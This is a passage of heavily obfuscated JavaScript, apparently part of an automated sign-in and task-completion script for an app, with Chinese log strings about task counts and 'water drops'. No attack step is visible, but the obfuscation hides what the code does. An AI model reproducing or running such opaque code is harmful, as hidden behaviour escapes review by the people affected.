_0x3ce686[_0x4d2939(0x133d,'\x57\x38\x4f\x70',0xc1e,0x6a5,0x1225)](_0x17b75b,_0x5e1cba);},'\x66\x6f\x56\x5a\x42':_0x3ce686[_0x1c08e6(0x9e2,0xfaa,0x8d1,'\x4f\x4f\x25\x29',0xef3)],'\x7a\x55\x41\x4a\x62':_0x3ce686[_0x1c08e6(0x1755,0x15e4,0x1151,'\x52\x59\x64\x49',0x8c1)],'\x55\x48\x42\x6f\x5a':function(_0xfd3ac8,_0x23b257){function _0x6291b4(_0x269511,_0x403579,_0x4a79f7,_0x33361b,_0xcfc38a){return _0x2a6aab(_0x269511- -0x334,_0x403579-0x103,_0x4a79f7-0xe2,_0xcfc38a,_0xcfc38a-0x1f3);}return _0x3ce686[_0x6291b4(0x6ba,0xc98,0x8cb,0xc46,'\x6d\x57\x5a\x29')](_0xfd3ac8,_0x23b257);},'\x78\x63\x71\x62\x66':function(_0x3ee4c7,_0x13f62c){function _0x338853(_0x3a7947,_0x4f289b,_0xbdd133,_0x2edc1a,_0x3f5fb4){return _0x285064(_0x3a7947-0x30,_0x3f5fb4,_0x4f289b- -0x2f3,_0x2edc1a-0x16a,_0x3f5fb4-0x1d1);}return _0x3ce686[_0x338853(0x1963,0x123a,0x10b4,0x15aa,'\x4a\x61\x70\x57')](_0x3ee4c7,_0x13f62c);},'\x44\x76\x59\x74\x48':_0x3ce686[_0x1c08e6(0x122e,0x7ce,0xc3f,'\x32\x49\x5b\x49',0x315)],'\x61\x50\x6d\x74\x43':function(_0x2d9229,_0x2107d1){function _0x5d78c7(_0x128f67,_0x29c19f,_0x25bb29,_0x50d08d,_0x32d2fe){return _0x1c08e6(_0x128f67-0x70,_0x29c19f-0x1ca,_0x32d2fe- -0x201,_0x50d08d,_0x32d2fe-0x1a2);}return _0x3ce686[_0x5d78c7(0x11fc,0x1aaf,0x1b09,'\x4a\x61\x70\x57',0x125f)](_0x2d9229,_0x2107d1);},'\x6d\x41\x72\x72\x6f':_0x3ce686[_0x3b7b57(0x1afd,0xe8a,'\x78\x56\x67\x4f',0x1342,0x1bac)],'\x4f\x53\x51\x61\x71':function(_0x26bd76,_0x2825cf){function _0x4d36ef(_0x2354aa,_0xf9f847,_0x5e51c4,_0x4d42aa,_0xf9ff9e){return _0x285064(_0x2354aa-0xd4,_0xf9ff9e,_0x4d42aa-0x55,_0x4d42aa-0x135,_0xf9ff9e-0x1e3);}return _0x3ce686[_0x4d36ef(0x1045,0xe01,0x1b9d,0x128a,'\x4a\x61\x70\x57')](_0x26bd76,_0x2825cf);},'\x48\x55\x67\x50\x41':function(_0x48c890,_0x5393c4){function _0x56c511(_0x10e75b,_0x3b7610,_0x33aad8,_0x368937,_0x53f5b6){return _0x3b7b57(_0x10e75b-0x183,_0x3b7610-0x145,_0x33aad8,_0x3b7610- -0xce,_0x53f5b6-0x4);}return _0x3ce686[_0x56c511(0xba8,0x601,'\x47\x38\x4e\x52',0x6ce,0x615)](_0x48c890,_0x5393c4);}};function _0x1c08e6(_0x3e6589,_0x4abc45,_0x2efef4,_0xd58b07,_0x584cf9){return _0x3bb4e5(_0x3e6589-0x4a,_0x4abc45-0xef,_0x2efef4- -0xb1,_0xd58b07,_0x584cf9-0x171);}function _0x285064(_0x322cc4,_0x4a3ce6,_0x1b82b9,_0x5d3982,_0x1c07d3){return _0x3bb4e5(_0x322cc4-0x154,_0x4a3ce6-0x143,_0x1b82b9- -0x191,_0x4a3ce6,_0x1c07d3-0x34);}function _0x2a8702(_0x354b43,_0x27c3ba,_0x5c039b,_0x26e6e6,_0x3b7831){return _0x3bb4e5(_0x354b43-0x11b,_0x27c3ba-0x101,_0x3b7831- -0x185,_0x354b43,_0x3b7831-0xed);}function _0x3b7b57(_0x25102b,_0x5213f3,_0x36e455,_0x4ea651,_0x3ea0fe){return _0x588c5b(_0x25102b-0x155,_0x5213f3-0x74,_0x36e455-0x88,_0x36e455,_0x4ea651-0x200);}try{if(_0x3ce686[_0x2a6aab(0xdd1,0x15c3,0x9f3,'\x73\x48\x6e\x6e',0x13b6)](_0x3ce686[_0x2a6aab(0x601,0x64a,0x13f,'\x45\x33\x6b\x40',0xb6f)],_0x3ce686[_0x3b7b57(0x321,0xab,'\x46\x6f\x5e\x6c',0x1dd,-0x621)])){let _0x1bc0df='\u6b21';if(_0x1421b8[_0x2a6aab(0xc44,0x424,0x12af,'\x36\x6c\x21\x41',0xf87)](_0x903d5d[_0x2a6aab(0x38c,0xc39,0x4b0,'\x4f\x40\x44\x71',-0x47c)+'\x74'][_0x285064(0x924,'\x5a\x30\x31\x38',0xd17,0x1320,0x110d)+_0x2a8702('\x57\x38\x4f\x70',-0x12b,0xc3c,0x265,0x683)+_0x3b7b57(0xc22,0x1203,'\x76\x78\x62\x62',0xd7f,0x1347)+_0x285064(0x6aa,'\x5a\x30\x31\x38',0x72b,0x226,-0x1e3)][_0x3b7b57(0x14f2,0xcfe,'\x6b\x5e\x4e\x4d',0x1153,0x12dd)+_0x285064(0x996,'\x65\x54\x72\x35',0x106f,0xaf5,0xb57)+'\x67\x65'],0xd*-0xbf+-0x29*-0x1f+0x4c1))_0x1bc0df='\x25';_0x206426[_0x3b7b57(-0xdd,0x69,'\x42\x23\x5e\x5b',0x862,0x27c)](_0x1421b8[_0x285064(0xc86,'\x76\x78\x62\x62',0xedd,0xef1,0x1462)](_0x1421b8[_0x2a8702('\x4f\x40\x44\x71',0x756,0xa4d,0xe00,0xafd)](_0x1421b8[_0x2a6aab(0x627,0xca2,0x6c8,'\x5a\x30\x31\x38',0xd5c)](_0x1421b8[_0x2a8702('\x6d\x5e\x6e\x43',0xd8e,0x19f0,0xcf1,0x14e4)](_0x1421b8[_0x2a6aab(0x661,0xdde,0x6bb,'\x63\x66\x74\x31',0xcfd)](_0x1421b8[_0x1c08e6(0x16d3,0x14f3,0x1078,'\x53\x78\x42\x55',0x882)](_0x1421b8[_0x2a6aab(0xb97,0x101f,0x623,'\x46\x6f\x5e\x6c',0xf9d)](_0x1421b8[_0x2a8702('\x50\x21\x6c\x48',0xad8,0xa8e,0x1164,0xcd3)](_0x1421b8[_0x1c08e6(0x991,0x6a5,0x53b,'\x6b\x59\x6b\x44',-0x158)](_0x1421b8[_0x2a6aab(0xbae,0x1037,0xf6c,'\x5d\x78\x21\x39',0x14c8)](_0x1421b8[_0x285064(0x31f,'\x32\x49\x5b\x49',0xc77,0x1342,0x103b)](_0x1421b8[_0x2a6aab(0x78e,0x5b3,0x249,'\x53\x28\x21\x51',-0x5)](_0x1421b8[_0x3b7b57(0x8be,0x907,'\x57\x73\x5d\x21',0xbaf,0xf1f)](_0x1421b8[_0x3b7b57(0x1d19,0x1516,'\x33\x2a\x64\x68',0x1430,0xe75)](_0x1421b8[_0x3b7b57(0x1367,0xe7c,'\x34\x62\x40\x70',0xcaa,0x146e)](_0x1421b8[_0x2a8702('\x4e\x54\x74\x26',0x9aa,0x366,-0x1f6,0x4db)],_0x43ea50),'\u3011\x3a'),_0x1090aa[_0x3b7b57(0xb13,0xd34,'\x57\x38\x4f\x70',0x844,0xd8b)+'\x74'][_0x3b7b57(0x88b,0xf24,'\x6b\x5e\x4e\x4d',0x7e5,0xae9)+_0x2a6aab(0x3ed,0x127,-0x3e7,'\x77\x40\x43\x59',0xac8)+_0x3b7b57(0xe79,0xfde,'\x77\x40\x43\x59',0x867,0x854)+_0x2a6aab(0xdf7,0xe2a,0x842,'\x41\x43\x59\x76',0xe33)][_0x2a6aab(0xc1d,0x482,0xb73,'\x47\x38\x4e\x52',0xd03)+_0x2a6aab(0x13e7,0x1999,0x1d28,'\x52\x7a\x58\x2a',0x1b41)]),_0x1421b8[_0x285064(0x18b7,'\x47\x38\x4e\x52',0x1388,0xf5a,0x1548)]),_0xe9a4ab),_0x1421b8[_0x2a6aab(0x14b8,0x1de6,0x16e3,'\x4f\x4f\x25\x29',0x1c23)]),_0x14f953),_0x1421b8[_0x1c08e6(0xc4a,0x147c,0xd17,'\x76\x25\x48\x64',0x1121)]),_0x455dc6[_0x1c08e6(0x1d8d,0x196a,0x16f8,'\x24\x63\x6f\x37',0x15d3)+'\x74'][_0x3b7b57(-0x13b,0xc28,'\x29\x52\x4b\x66',0x697,0x1f8)+_0x1c08e6(0x47d,0x782,0x7bb,'\x76\x78\x62\x62',0xd7a)+_0x1c08e6(0xa92,0x350,0x73c,'\x66\x66\x76\x75',0xe14)+_0x2a8702('\x53\x41\x31\x35',0xed1,0x13c7,0x1d11,0x1451)][_0x2a6aab(0x4e3,0x848,-0x106,'\x45\x24\x6c\x69',0x36a)+_0x285064(0xca,'\x73\x48\x6e\x6e',0x52d,0x414,0x62f)+_0x1c08e6(0x1137,0xe3d,0xf4e,'\x53\x41\x31\x35',0x1604)+_0x3b7b57(0xf55,0x1a03,'\x33\x2a\x64\x68',0x13cc,0x1391)]),_0x1bc0df),_0xcf158b[_0x3b7b57(0xa55,0x839,'\x4e\x54\x74\x26',0x594,0xa69)+'\x74'][_0x2a6aab(0xc4a,0x11f8,0x1253,'\x52\x7a\x58\x2a',0x1192)+_0x2a6aab(0x1368,0x17ac,0x1347,'\x53\x34\x6c\x29',0x176f)+_0x2a8702('\x76\x25\x48\x64',0x1b07,0xff8,0x1398,0x1266)+_0x2a8702('\x53\x41\x31\x35',0x1976,0x107b,0x19db,0x1451)][_0x2a8702('\x47\x38\x4e\x52',0x1443,0x14d0,0x1537,0x1228)+_0x1c08e6(0x177d,0x1bde,0x143b,'\x42\x23\x5e\x5b',0x1c35)]),_0x1421b8[_0x3b7b57(0x12f,0xa1f,'\x66\x66\x76\x75',0x2ab,0xa5d)]),_0x2dc442[_0x285064(0x5c3,'\x75\x5d\x54\x4f',0x8f3,0xc9a,0xef2)+'\x74'][_0x3b7b57(0x10fa,0xd39,'\x6e\x70\x4f\x48',0xd9f,0x747)+_0x3b7b57(0x4dc,0x916,'\x47\x28\x51\x45',0x564,0xcc0)+'\x73\x65'][_0x2a6aab(0xbb4,0xb83,0xced,'\x42\x23\x5e\x5b',0x28e)+_0x2a6aab(0xd9b,0x1536,0x801,'\x57\x38\x4f\x70',0xb2c)+'\x63\x65']),'\u6ef4\u6c34'),_0x26a843)),_0x2558b3[_0x2a8702('\x52\x7a\x58\x2a',0x632,0x1067,0xf86,0x913)+'\x79'](_0x1421b8[_0x3b7b57(0xf98,0x9d2,'\x31\x5e\x34\x5a',0x949,0x1df)],_0x1421b8[_0x2a8702('\x4a\x61\x70\x57',0xdd3,0x11f7,0x925,0xa2e)](_0x1421b8[_0x3b7b57(0x7b7,0x13b3,'\x4f\x40\x44\x71',0x1099,0x8fc)]('\u3010',_0xc5b8ae),'\u3011'),_0x1421b8[_0x2a6aab(0x1089,0xacf,0xc63,'\x77\x40\x43\x59',0x91d)](_0x1421b8[_0x285064(0x1177,'\x76\x78\x62\x62',0xb26,0x1421,0x916)](_0x1421b8[_0x2a6aab(0x300,0x124,0x7e9,'\x6b\x59\x6b\x44',0x538)](_0x1421b8[_0x2a6aab(0xbd8,0x113a,0x576,'\x35\x37\x26\x25',0xaa7)](_0x1421b8[_0x285064(0x6d1,'\x41\x43\x59\x76',0x8f1,0x11ab,0x100)](_0x1421b8[_0x2a6aab(0x1472,0x1aab,0x11bd,'\x36\x70\x67\x64',0xbc8)](_0x1421b8[_0x1c08e6(0x656,0x1126,0xe8d,'\x50\x21\x6c\x48',0x61a)](_0x1421b8[_0x2a6aab(0x1467,0x13f1,0x17e6,'\x77\x40\x43\x59',0x1cfa)](_0x1421b8[_0x3b7b57(0x698,0x76a,'\x53\x41\x31\x35',0xf5e,0x923)](_0x1421b8[_0x2a8702('\x36\x57\x6b\x69',0x1659,0xf9e,0x12a9,0xedd)](_0x1421b8[_0x2a8702('\x50\x21\x6c\x48',0xb08,0x14b,0x752,0x576)](_0x1421b8[_0x1c08e6(0x1b40,0x1bcc,0x16aa,'\x52\x59\x64\x49',0x1aa6)](_0x1f87a1[_0x2a6aab(0x13c5,0x1644,0xc58,'\x34\x62\x40\x70',0xfd2)+'\x74'][_0x1c08e6(0xab7,-0x49,0x7df,'\x77\x40\x43\x59',0x4b4)+_0x2a8702('\x45\x24\x6c\x69',0x1056,0x242,0xc6c,0xb9c)+_0x1c08e6(0x2cb,0x7d6,0xb7d,'\x47\x28\x51\x45',0x72a)+_0x3b7b57(0x850,0x845,'\x35\x37\x26\x25',0x639,0x96b)][_0x2a6aab(0x47e,0xa35,0x447,'\x24\x63\x6f\x37',0x726)+_0x3b7b57(0x8e1,0x1942,'\x6b\x5e\x4e\x4d',0x1171,0x10bd)],_0x1421b8[_0x285064(0x309,'\x24\x63\x6f\x37',0x982,0x5db,0x974)]),_0x142709),_0x1421b8[_0x2a6aab(0x10e4,0x1a05,0x12ea,'\x53\x34\x6c\x29',0xb3c)]),_0x4e202c),_0x1421b8[_0x2a8702('\x5d\x5d\x4d\x42',0x41b,-0xb9,0xc9a,0x5b4)]),_0x125587[_0x3b7b57(0x656,0x3d9,'\x47\x38\x4e\x52',0x2fb,-0x14d)+'\x74'][_0x2a6aab(0x1394,0x1b16,0x1940,'\x75\x5d\x54\x4f',0x1203)+_0x285064(0x3df,'\x76\x25\x48\x64',0x88c,0x4f0,-0xd2)+_0x2a6aab(0xe43,0xe50,0xf1d,'\x6d\x57\x5a\x29',0xf5a)+_0x285064(-0x3ae,'\x76\x78\x62\x62',0x439,0xcb3,0x4cd)][_0x2a6aab(0x4dd,-0xec,0xdb3,'\x6d\x57\x5a\x29',0xd92)+_0x3b7b57(0x4f5,0x679,'\x78\x45\x43\x4d',0x54c,0xadb)+_0x2a6aab(0x72c,0x4f8,-0x158,'\x24\x63\x6f\x37',-0x156)+_0x2a8702('\x5d\x78\x21\x39',0x1463,0xf95,0x1138,0x114c)]),_0x1bc0df),_0x3ef0ec[_0x2a6aab(0x13c5,0x14fe,0x1bd7,'\x34\x62\x40\x70',0x13b5)+'\x74'][_0x285064(0xb31,'\x46\x6f\x5e\x6c',0x1129,0x1883,0x1437)+_0x285064(0xae6,'\x46\x6f\x5e\x6c',0xa98,0x785,0x1134)+_0x2a6aab(0x11ad,0x116d,0x1446,'\x36\x6c\x21\x41',0x918)+_0x285064(0x84e,'\x57\x38\x4f\x70',0x1146,0x138d,0xa78)][_0x2a8702('\x33\x2a\x64\x68',0x1e63,0x1095,0x19f7,0x15b1)+_0x3b7b57(0xb39,0x18dc,'\x42\x23\x5e\x5b',0x1161,0x1637)]),_0x1421b8[_0x2a6aab(0x887,0x3cd,0x213,'\x57\x38\x4f\x70',0x329)]),_0x2c04f0[_0x285064(0x7f8,'\x6b\x59\x6b\x44',0xdfd,0x1219,0x1420)+'\x74'][_0x285064(0x11dd,'\x52\x7a\x58\x2a',0x961,0x112c,0x7a2)+_0x2a8702('\x5d\x78\x21\x39',0xa1d,0x8e1,0x125,0x536)+'\x73\x65'][_0x2a6aab(0x142f,0xd91,0x15fb,'\x46\x6f\x5e\x6c',0x16e8)+_0x2a8702('\x33\x2a\x64\x68',0x9c4,0xf22,0xc4e,0x753)+'\x63\x65']),'\u6ef4\u6c34'),_0x2156e8)),_0x5eccff[_0x2a8702('\x75\x5d\x54\x4f',0x64,0xc75,0xc48,0x63b)][_0x2a8702('\x78\x45\x43\x4d',0x1dfe,0x13a2,0x1ed9,0x15fa)+'\x65']&&_0x1421b8[_0x1c08e6(0xf6b,0x1c2d,0x1609,'\x75\x5d\x54\x4f',0x15ae)](_0x1421b8[_0x2a8702('\x65\x54\x72\x35',0x1492,0x1537,0x16aa,0x13b6)](_0x1421b8[_0x285064(0x4a6,'\x4f\x4f\x25\x29',0xa2a,0xf2f,0xc83)]('',_0x3aff90),''),_0x1421b8[_0x3b7b57(0x9f3,0x12b4,'\x47\x38\x4e\x52',0xad4,0xa6b)])&&(_0x4ace92+=_0x1421b8[_0x285064(0x19cb,'\x52\x7a\x58\x2a',0x1487,0x1746,0xfde)](_0x1421b8[_0x2a8702('\x41\x43\x59\x76',0xf5e,0x64b,0x896,0xca6)](_0x1421b8[_0x285064(0x989,'\x78\x56\x67\x4f',0x51f,0xb93,0x942)](_0x1421b8[_0x285064(0xd6b,'\x66\x66\x76\x75',0x1571,0x1448,0x15ab)](_0x1421b8[_0x1c08e6(0x92b,0xd05,0xacf,'\x34\x62\x40\x70',0xbab)](_0x1421b8[_0x1c08e6(0x1b66,0x10d0,0x1613,'\x4f\x4f\x25\x29',0x1a23)](_0x1421b8[_0x285064(0x42e,'\x52\x59\x64\x49',0x5bd,0xc4f,-0x2c0)](_0x1421b8[_0x2a8702('\x4e\x54\x74\x26',0xa99,0xcfd,0x1915,0x12e6)](_0x1421b8[_0x2a6aab(0x591,0x7d9,0x1d1,'\x47\x28\x51\x45',0x324)](_0x1421b8[_0x2a8702('\x53\x34\x6c\x29',0xee6,0x68b,0xed9,0xc9e)](_0x1421b8[_0x1c08e6(0x11fa,0x10f4,0x966,'\x36\x70\x67\x64',0x332)](_0x1421b8[_0x2a8702('\x42\x23\x5e\x5b',0x158c,0x138b,0xfdf,0x1457)](_0x1421b8[_0x285064(0xd84,'\x4f\x40\x44\x71',0xa97,0xdf6,0x69d)](_0x1421b8[_0x2a6aab(0xf5e,0x169c,0x181c,'\x24\x6e\x5d\x79',0xc2b)](_0x1421b8[_0x3b7b57(0x926,0xbec,'\x5d\x78\x21\x39',0x11ad,0x10a7)](_0x1421b8[_0x2a8702('\x33\x2a\x64\x68',0x573,0x752,0x122d,0xb22)],_0x3df81a),_0x1421b8[_0x3b7b57(-0x40e,-0x56d,'\x24\x6e\x5d\x79',0x2ff,0x1b6)]),_0xdfd9d0[_0x285064(0xefc,'\x29\x52\x4b\x66',0x6c6,-0x220,0xd5a)+'\x74'][_0x2a8702('\x33\x2a\x64\x68',0x1161,0x1027,0x496,0xa2d)+_0x285064(0xd00,'\x33\x2a\x64\x68',0x95b,0xa14,0x920)+_0x1c08e6(0x86c,0xba3,0x8bc,'\x62\x77\x6a\x54',0x43e)+_0x2a6aab(0x1409,0xd1f,0x1194,'\x5d\x78\x21\x39',0x1c70)][_0x285064(0xaa,'\x32\x49\x5b\x49',0x9a3,0xb10,0x8e4)+_0x1c08e6(0x13dc,0xc28,0xe5f,'\x6b\x59\x6b\x44',0x12b1)]),_0x1421b8[_0x2a6aab(0x983,0xe76,0xf61,'\x57\x73\x5d\x21',0xe22)]),_0x59401c),_0x1421b8[_0x285064(0xaa,'\x41\x43\x59\x76',0x513,-0x1f1,0x277)]),_0x36b3bf),_0x1421b8[_0x3b7b57(0x284,0x991,'\x4a\x61\x70\x57',0x83d,0x112d)]),_0x1194ff[_0x1c08e6(0x86e,0x9a8,0x9c8,'\x24\x6e\x5d\x79',0x272)+'\x74'][_0x1c08e6(0x185,0x97f,0x9f4,'\x32\x49\x5b\x49',0xe66)+_0x1c08e6(0xbc0,0xe80,0x6d4,'\x4f\x40\x44\x71',0x509)+_0x1c08e6(0x15db,0x109c,0xcee,'\x53\x78\x42\x55',0xd80)+_0x3b7b57(0x2b8,0x468,'\x52\x7a\x58\x2a',0xa28,0x12fc)][_0x2a8702('\x52\x7a\x58\x2a',0x9f1,0x3f7,0xbaf,0x5fd)+_0x2a8702('\x75\x5d\x54\x4f',-0x300,-0x397,0x4d0,0x4a0)+_0x285064(0xe33,'\x50\x21\x6c\x48',0x140f,0x1a94,0xf80)+_0x2a6aab(0x1047,0xeb3,0x90f,'\x53\x78\x42\x55',0x9d5)]),_0x1bc0df),_0x6054b8[_0x285064(0xa32,'\x41\x43\x59\x76',0xb40,0x41b,0x9e7)+'\x74'][_0x285064(0x957,'\x66\x66\x76\x75',0xc6d,0x38e,0x152f)+_0x1c08e6(0xbf0,0x1a0e,0x13dd,'\x53\x41\x31\x35',0x15b5)+_0x285064(0x11fc,'\x53\x78\x42\x55',0xc0e,0x62e,0x152b)+_0x1c08e6(0xcb1,0x678,0x747,'\x4f\x4f\x25\x29',0x7e1)][_0x2a6aab(0x54f,0x2da,0x66e,'\x6e\x70\x4f\x48',0x23e)+_0x3b7b57(0xab8,0x10fa,'\x52\x7a\x58\x2a',0x12e9,0xf89)]),_0x1421b8[_0x3b7b57(0x2b5,0x746,'\x47\x28\x51\x45',0x9f1,0x68c)]),_0x43c113[_0x285064(0xaba,'\x5a\x30\x31\x38',0xd39,0x136e,0x148a)+'\x74'][_0x1c08e6(0xd0f,0x12a8,0xb79,'\x5d\x78\x21\x39',0x6d1)+_0x1c08e6(0x12f5,0x4ac,0xbc1,'\x52\x59\x64\x49',0x6f7)+'\x73\x65'][_0x2a8702('\x78\x56\x67\x4f',0x8b3,-0x285,0x8e6,0x57e)+_0x2a6aab(0x1427,0x1558,0x1545,'\x24\x63\x6f\x37',0x15d6)+'\x63\x65']),'\u6ef4\u6c34'),_0x13ac55));}else{if(!_0x3363d1||!_0x3363d1[_0x2a6aab(0x462,-0xd7,0x258,'\x5d\x5d\x4d\x42',0xab2)+'\x74']||!_0x3363d1[_0x2a6aab(0x692,0xb4a,0x710,'\x4e\x54\x74\x26',0xdc1)+'\x74'][_0x1c08e6(0xa7a,0xd40,0x919,'\x57\x38\x4f\x70',0xb1e)+_0x285064(0xd67,'\x42\x23\x5e\x5b',0xba2,0xee9,0x5e9)+'\x73\x74']){if(_0x3ce686[_0x3b7b57(0x73c,0x188b,'\x75\x5d\x54\x4f',0xf9f,0x12a9)](_0x3ce686[_0x2a6aab(0xa18,0x327,0x5dc,'\x76\x78\x62\x62',0x598)],_0x3ce686[_0x285064(0xdd0,'\x24\x6e\x5d\x79',0x15e8,0x103b,0x1c6a)]))_0x331412[_0x2a8702('\x5d\x78\x21\x39',0x8c6,0x14a0,0xe5c,0xd13)](_0x3ce686[_0x1c08e6(0x874,0x35b,0xab9,'\x36\x6c\x21\x41',0x976)](_0x3ce686[_0x2a8702('\x76\x25\x48\x64',0xd25,0xcd8,0x1932,0x1464)],_0x2ac12e)),_0x3ce686[_0x3b7b57(0x19c8,0x189e,'\x78\x45\x43\x4d',0x1164,0x15f6)](_0x242f0c);else{console[_0x2a6aab(0x1121,0x1319,0x1630,'\x52\x59\x64\x49',0x1498)](_0x3ce686[_0x285064(0x50c,'\x57\x73\x5d\x21',0x9d6,0xafc,0x55c)]),_0x3ce686[_0x2a8702('\x6e\x70\x4f\x48',0x11d8,0x10fc,0x84b,0xb43)](_0x298764);return;}}for(let _0x17fcea=-0x4*0x557+0x27*-0x5d+0x2387;_0x3ce686[_0x3b7b57(0x839,0x10d9,'\x45\x33\x6b\x40',0x10ae,0xb12)](_0x17fcea,_0x3363d1[_0x3b7b57(-0x4,0x9ab,'\x73\x48\x6e\x6e',0x368,0x8f9)+'\x74'][_0x2a8702('\x4e\x54\x74\x26',0x85d,0x12ff,0x18f6,0x1178)+_0x2a8702('\x5d\x5d\x4d\x42',-0x1bb,0x2c9,0x37e,0x3ea)+'\x73\x74'][_0x285064(0xb52,'\x47\x38\x4e\x52',0x6ca,0xd47,0x223)+'\x68']);_0x17fcea++){if(_0x3ce686[_0x2a6aab(0x1161,0x19bd,0x107e,'\x31\x5e\x34\x5a',0x18db)](_0x3ce686[_0x2a6aab(0xeb9,0xcaf,0xca7,'\x53\x28\x21\x51',0xf15)],_0x3ce686[_0x1c08e6(0x789,0x8b2,0x9fe,'\x46\x6f\x5e\x6c',0xfb9)])){const _0x1e1c16=_0x4e910f[_0x285064(0xabd,'\x36\x6c\x21\x41',0xd54,0xc2c,0xb77)](_0x12cd4b,arguments);return _0x58db23=null,_0x1e1c16;}else{const _0x3c1682=_0x3363d1[_0x1c08e6(-0x130,0x8e4,0x568,'\x4f\x40\x44\x71',0xd45)+'\x74'][_0x3b7b57(0xff5,0xfe7,'\x45\x24\x6c\x69',0xb6a,0x264)+_0x2a8702('\x75\x5d\x54\x4f',0x1395,0x19e1,0x12b0,0x15f7)+'\x73\x74'][_0x17fcea];if(_0x3ce686[_0x2a6aab(0x7f9,0xc41,0x335,'\x53\x28\x21\x51',0x91a)](_0x3c1682[_0x2a8702('\x50\x21\x6c\x48',0x5b,0xf44,0x102f,0x833)+'\x73'],-0x34*0x7+-0x1*0x1c82+-0x23*-0xdb)||_0x3ce686[_0x1c08e6(0x6c3,0xa14,0x527,'\x6d\x57\x5a\x29',-0x14f)](_0x3c1682[_0x2a6aab(0x13df,0xeaa,0x1d3d,'\x76\x78\x62\x62',0x1435)+'\x73'],0x230b+-0x2274+0x1*-0x95))_0x3ce686[_0x3b7b57(0x1392,0xce9,'\x41\x43\x59\x76',0xf0d,0x1649)](_0x3ce686[_0x1c08e6(0x49f,-0x220,0x5a1,'\x34\x62\x40\x70',0x546)],_0x3ce686[_0x3b7b57(0x47a,0x284,'\x78\x45\x43\x4d',0xbb4,0xa3d)])?console[_0x2a8702('\x4e\x54\x74\x26',-0x54,0x116e,0x7f7,0x89c)](_0x3ce686[_0x2a6aab(0x1079,0xbb4,0x185c,'\x24\x63\x6f\x37',0x1725)](_0x3ce686[_0x285064(-0x50,'\x34\x62\x40\x70',0x753,0xccd,0x637)]('\x0a\u3010',_0x3c1682[_0x2a8702('\x6b\x59\x6b\x44',0x1514,0x17e8,0x188c,0x11a6)+_0x285064(0x6ed,'\x4f\x40\x44\x71',0x5b8,-0x1b9,0x24c)]),_0x3ce686[_0x1c08e6(0x1b05,0xf2f,0x165f,'\x34\x62\x40\x70',0x1b94)])):_0x2af568[_0x1c08e6(0x899,0x33d,0xaa1,'\x4a\x61\x70\x57',0x1cd)](_0x1421b8[_0x2a8702('\x57\x73\x5d\x21',0x8e5,0x152a,0xd1c,0xee7)]);else{if(_0x3ce686[_0x1c08e6(0xd30,0x14c,0x6f4,'\x32\x49\x5b\x49',0xa50)](_0x3c1682[_0x285064(0x109b,'\x33\x2a\x64\x68',0x7f6,0x1bc,0x114)+_0x2a6aab(0x64d,0x1d5,0xa5c,'\x4a\x61\x70\x57',0xd25)],-0x1dd6*0x1+0x1145*0x2+0x1*-0x2be))_0x3ce686[_0x1c08e6(0xc8,0x975,0x4b3,'\x75\x5d\x54\x4f',0x9c1)](_0x3ce686[_0x1c08e6(0x11d3,0x14d0,0x110d,'\x5a\x30\x31\x38',0x16b4)],_0x3ce686[_0x1c08e6(0x98d,0xd0e,0x867,'\x78\x45\x43\x4d',0x619)])?_0x3545c3=_0x384b8c[_0x2a6aab(0xef8,0xb4f,0x111f,'\x57\x38\x4f\x70',0x11f5)]:await _0x3ce686[_0x3b7b57(0x17f8,0xa3f,'\x53\x78\x42\x55',0x12c3,0x10bd)](sign);else{if(do_tasks[_0x2a8702('\x75\x5d\x54\x4f',0x98b,0xb21,0x42a,0x59f)+_0x3b7b57(0x846,0x92d,'\x5d\x5d\x4d\x42',0x837,0xfbe)](_0x3c1682[_0x2a8702('\x6d\x57\x5a\x29',0x3c9,0x62c,0x364,0x910)+_0x2a6aab(0x13f0,0x1b99,0x19f0,'\x46\x6f\x5e\x6c',0x1cbd)])){if(_0x3ce686[_0x1c08e6(0xc05,0x9d7,0x55b,'\x6d\x57\x5a\x29',0x7f4)](_0x3ce686[_0x2a6aab(0x653,0x8be,0x7de,'\x50\x21\x6c\x48',0x368)],_0x3ce686[_0x2a8702('\x31\x5e\x34\x5a',0xb37,-0x1aa,-0x37a,0x4d6)])){if(_0x3ce686[_0x285064(0xfcc,'\x24\x63\x6f\x37',0x163d,0x1116,0xf7f)](_0x3c1682[_0x2a8702('\x53\x78\x42\x55',0x1263,0x1233,0x157,0x9b4)+'\x73'],0x1*0xad3+-0x608*-0x1+-0x10db)){if(_0x3ce686[_0x285064(0xb5b,'\x78\x45\x43\x4d',0x11bc,0x8ea,0xa0f)](_0x3ce686[_0x2a8702('\x52\x7a\x58\x2a',0xa99,0x111d,0x5ae,0xc48)],_0x3ce686[_0x285064(0x88c,'\x53\x28\x21\x51',0x5a2,0x306,0x3b6)])){let _0x1833b1=_0x3ce686[_0x1c08e6(0x1400,0x4c7,0xb59,'\x36\x70\x67\x64',0x5ea)](urlTask,_0x3ce686[_0x285064(0x920,'\x78\x56\x67\x4f',0xe74,0xb3f,0x80b)](_0x3ce686[_0x285064(0x6dd,'\x6d\x5e\x6e\x43',0xbf2,0x7b5,0x1499)](_0x3ce686[_0x285064(0x916,'\x36\x6c\x21\x41',0x622,0x9a0,0x481)](_0x3ce686[_0x1c08e6(0x8cc,0xb6e,0x507,'\x24\x6e\x5d\x79',0xbd6)](_0x3ce686[_0x3b7b57(0xe23,0x101d,'\x45\x33\x6b\x40',0xb4d,0x59f)](_0x3ce686[_0x2a8702('\x65\x54\x72\x35',-0x9d,0x7cd,0x99,0x7d1)](_0x3ce686[_0x1c08e6(0x126e,0x1121,0xf80,'\x78\x45\x43\x4d',0xd5d)](_0x3ce686[_0x2a6aab(0x8f5,0x751,0xbef,'\x6d\x5e\x6e\x43',0xfad)](_0x3ce686[_0x1c08e6(0xffb,0x907,0xe21,'\x50\x21\x6c\x48',0xbdf)](_0x3ce686[_0x2a8702('\x76\x78\x62\x62',0xf3d,0x108a,0x13ab,0x118d)](_0x3ce686[_0x3b7b57(0xdca,0xa22,'\x35\x37\x26\x25',0x635,0x638)](_0x3ce686[_0x1c08e6(0xa55,0xa43,0xc32,'\x42\x23\x5e\x5b',0x1198)](_0x3ce686[_0x2a8702('\x4f\x4f\x25\x29',0x1333,0xa9f,0x12b9,0xdb2)](_0x3ce686[_0x1c08e6(0x9ae,0x1895,0x108f,'\x34\x62\x40\x70',0x1119)](_0x3ce686[_0x1c08e6(0xefd,0xd51,0x1656,'\x78\x45\x43\x4d',0x1e2b)],Math[_0x2a6aab(0xa85,0xceb,0x1f0,'\x41\x43\x59\x76',0x1101)](new 